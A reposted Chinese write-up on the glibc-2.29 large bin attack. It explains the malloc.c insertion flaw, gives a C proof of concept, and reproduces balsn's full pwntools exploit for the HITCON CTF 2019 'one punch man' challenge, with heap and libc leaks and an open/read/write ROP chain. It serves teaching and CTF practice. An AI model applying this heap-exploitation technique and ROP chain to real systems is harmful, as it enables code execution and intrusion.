压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

glibc-2.29 large bin attack 原理

該方法并非筆者發現,而是閱讀 balsn 的 writeup 時分析而得到的,這里介紹一下這種攻擊方法。

unsorted bin attack

在介紹新的攻擊技術之前,先來緬懷一下 unsorted bin attack , 由于 glibc-2.29 新上的保護措施,使得 unsorted bin attack 基本已經成為過去式。

unsorted bin attack?的原理是利用 unsorted bin 在解鏈時,對 fd 指針的操作,直接的作用就是可以任意地址寫入一個 main_arena 地址值,非常好用的攻擊方法。雖然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或許可以成為它的代替品。

large bin attack

glibc-2.29 的 large bin attack 和先前的并不完全一樣,但是原理類似。

其主要發生在 large bin 的 nextsize 成環時,沒有對其進行檢查,所以只要存在 UAF 漏洞,就能修改 nextsize 指針進行任意地址寫入 chunk 地址的操作。

漏洞主要發生在下列代碼(來自?glibc-2.29/malloc/malloc.c:3841?):

        victim_index = largebin_index (size); 
        bck = bin_at (av, victim_index);
        fwd = bck->fd;

        /* maintain large bins in sorted order */
        if (fwd != bck)
          {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            /* if smaller than smallest, bypass loop below */
            assert (chunk_main_arena (bck->bk));
            if ((unsigned long) (size)
    < (unsigned long) chunksize_nomask (bck->bk))
              {
                fwd = bck;
                bck = bck->bk;

                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize; // one
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
              }
            else
              {
                assert (chunk_main_arena (fwd));
                while ((unsigned long) size < chunksize_nomask (fwd))
                  {
                    fwd = fwd->fd_nextsize;
  assert (chunk_main_arena (fwd));
                  }

                // but size must be different
                if ((unsigned long) size
  == (unsigned long) chunksize_nomask (fwd))
                  /* Always insert in the second position.  */
                  fwd = fwd->fd;
                else
                  {
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim; // two
                  }
                bck = fwd->bk;
              }
          }
        else
          victim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victim_index 為單位進行 nextsize 之間的成環操作,每個 victim_index 的長度是 0x40,上面的代碼是 unsorted bin 進行歸位 操作時,將 本屬于該環的 victim 插入到該環中。但是這里卻沒有?unsorted bin?那樣對指針進行檢查。

由于 large bin 是雙向鏈表,插入操作并不會對整個環進行檢查,這里我們只需要劫持 其 bk_nextsize 指針,那么在插入的時候,程序便會把該假的地址當成一個真的 chunk 從而進行雙向鏈表插入操作,這樣就會使得 該要插入的 chunk 將會留下它的地址到我們 設置的任意地址。

其核心代碼是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在這里完成了寫操作,具體執行哪段代碼還要取決與 兩個chunk 的size 比較。

這里提醒一點,兩個chunk 的size不能相同,否則會執行下面程序流而導致不能實現我們的目的。

if ((unsigned long) size
  == (unsigned long) chunksize_nomask (fwd))
  /* Always insert in the second position.  */
  fwd = fwd->fd;

其次是 large bin 的 fd_nextsize 需要設置為0,否則程序流會執行到下面的代碼進行unlink 操作,那么就無法通過 unlink 對 large bin 的 bk_nextsize 和 fd_nextsize 檢查。

來自?glibc-2.29/malloc/malloc.c:4049

  size = chunksize (victim);

  /*  We know the first chunk in this bin is big enough to use. */
  assert ((unsigned long) (size) >= (unsigned long) (nb));

  remainder_size = size - nb;

  /* unlink */
  unlink_chunk (av, victim);

樣例代碼


#include <stdio.h>
#include <stdlib.h>

size_t buf[0x10];

int main()
{
    size_t *ptr, *ptr2, *ptr3;
    setbuf(stdout, NULL);

    ptr = malloc(0x438);
    malloc(0x18);
    ptr2 = malloc(0x448);
    malloc(0x18);
    free(ptr);
    // put ptr into large bin
    malloc(0x600);
    free(ptr2);
    ptr[2] = 0;
    ptr[3] = (size_t)&buf[0];

    printf("buf[4]: 0x%lxn", buf[4]);
    ptr3 = malloc(0x68);
    printf("buf[4]: 0x%lxn", buf[4]);

    return 0;
}

buf[4]就相當于 fake_chunk->fd_nextsize 指針,指向該節點的上一個節點。

執行結果如下所示:

buf[4]: 0x0
buf[4]: 0x560075a246b0

例題 – HITCON CTF 2019 PWN – one punch man

該程序主要的漏洞就是在delete時沒有清理指針,導致UAF。

void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  write_str("idx: ");
  v0 = get_int();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free((void *)heros[v0].calloc_ptr);
}

程序預置了后門函數,但是在tcache上有限制,必須要我們劫持tcache_perthread_struct才行,這里有兩種思路,我自己的做法是劫持tcache_perthread_struct->entries,這里由于和本文章關系不大,這里我簡要說下核心思路:利用tcache_perthread_struct->counts?偽造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries

第二種做法就是 balsn 戰隊的做法,很優秀的方法,核心思路就是利用?large bin attack?修改?tcache_perthread_struct->counts?來使用預置后門,然后用?add?當中的緩沖區進行 ROP。

下面是 balsn 的腳本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc-2.29.so")
  log.success("libc load success")
  system_off = libc.symbols.system
  log.success("system_off = "+hex(system_off))
except:
  log.failure("libc not found !")

def name(index, name):
  r.recvuntil("> ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)
  pass

def rename(index,name):
  r.recvuntil("> ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)

  pass

def d(index):
  r.recvuntil("> ")
  r.sendline("4")
  r.recvuntil(": ")
  r.sendline(str(index))
  pass

def show(index):
  r.recvuntil("> ")
  r.sendline("3")
  r.recvuntil(": ")
  r.sendline(str(index))

def magic(data):
  r.recvuntil("> ")
  r.sendline(str(0xc388))
  time.sleep(0.1)
  r.send(data)

# if len(sys.argv) == 1:
#   r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
#   r = remote(host ,port)

if __name__ == '__main__':
  name(0,"A"*0x210)
  d(0)
  name(1,"A"*0x210)
  d(1)
  show(1)
  r.recvuntil(" name: ")
  heap = u64(r.recv(6).ljust(8,"x00")) - 0x260
  print("heap = {}".format(hex(heap)))
  for i in xrange(5):
    name(2,"A"*0x210)
    d(2)
  name(0,"A"*0x210)
  name(1,"A"*0x210)
  d(0)
  show(0)
  r.recvuntil(" name: ")
  libc = u64(r.recv(6).ljust(8,"x00")) - 0x1e4ca0
  print("libc = {}".format(hex(libc)))
  d(1)
  rename(2,p64(libc + 0x1e4c30))

  name(0,"D"*0x90)
  d(0)
  for i in xrange(7):
    name(0,"D"*0x80)
    d(0)
  for i in xrange(7):
    name(0,"D"*0x200)
    d(0)

  name(0,"D"*0x200)
  name(1,"A"*0x210)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)

  d(0)
  d(1)
  name(0,"A"*0x80)
  name(1,"A"*0x80)
  d(0)
  d(1)
  name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
  name(2,"A"*0x200)
  d(1)
  d(2)
  name(2,"A"*0x200)
  rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
  d(0)
  d(2)

  // pause()
  name(0,"/home/ctf/flagx00x00" + "A"*0x1f0)
  magic("A")
  add_rsp48 = libc + 0x000000000008cfd6
  pop_rdi = libc + 0x0000000000026542
  pop_rsi = libc + 0x0000000000026f9e
  pop_rdx = libc + 0x000000000012bda6
  pop_rax = libc + 0x0000000000047cf8
  syscall = libc + 0xcf6c5
  magic( p64(add_rsp48))

  name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
      p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
      p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
      )
r.interactive()

在上面的// pause()處暫停,查看其bin情況。

pwndbg> largebins 
largebins
0x400: 0x56224269a4c0 —? 0x7f455f1dd090 (main_arena+1104) ?— 0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0:    0x4141414141414141    0x0000000000000421
0x56224269a4d0:    0x00007f455f1dd090    0x00007f455f1dd090
0x56224269a4e0:    0x0000000000000000    0x0000562242698010
pwndbg>

這里構造好了 large bin attack,當進行 unsorted bin 歸位時,便會修改tcache_perthread_struct->counts

筆者是星盟安全團隊成員之一,這里歡迎熱愛網絡安全的小伙伴們加入星盟安全:XHUwMDc4XHUwMDY5XHUwMDZlXHUwMDY3XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDVmXHUwMDczXHUwMDY1XHUwMDYzXHUwMDQwXHUwMDMxXHUwMDM2XHUwMDMzXHUwMDJlXHUwMDYzXHUwMDZmXHUwMDZk?。

轉載自安全客:https://www.anquanke.com/post/id/189848

上一篇:如何通過blockdlls及ACG保護惡意軟件

下一篇:安全從業者的圍城:生活與工作如何平衡?